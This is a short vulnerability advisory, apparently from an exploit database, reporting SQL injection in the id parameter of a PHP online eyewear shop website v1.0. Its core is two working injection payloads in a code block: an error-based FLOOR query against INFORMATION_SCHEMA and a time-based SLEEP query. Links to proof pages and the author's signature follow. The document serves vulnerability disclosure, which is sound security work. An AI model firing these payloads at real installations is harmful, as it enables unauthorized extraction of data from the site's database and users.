## Titles: OEWS - PHP (by: oretnom23 ) v1.0 Multiple SQLi
## Author: nu11secur1ty
## Date: 05/25/2024
## Vendor: https://github.com/oretnom23
## Software: https://www.sourcecodester.com/php/16089/online-eyewear-shop-website-using-php-and-mysql-free-download.html
## Reference: https://portswigger.net/web-security/sql-injection
## Description:
The id parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the id parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. The attacker can get all information from the system by using this vulnerability!
STATUS: HIGH- Vulnerability
[+]Exploits:
- SQLi Multiple:
```mysql
---
Parameter: id (GET)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: p=products/view_product&id=8' AND (SELECT 9069 FROM(SELECT COUNT(*),CONCAT(0x7162787671,(SELECT (ELT(9069=9069,1))),0x717a766271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)# CjkM
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: p=products/view_product&id=8' AND (SELECT 8526 FROM (SELECT(SLEEP(7)))xaqq)# fbVK
---
```
## Reproduce:
[href](https://www.patreon.com/posts/oews-php-by-v1-0-104918653)
## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2024/05/oews-php-by-oretnom23-v10-multiple-sqli.html)
## Time spent:
00:19:00
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http://nu11secur1ty.com/>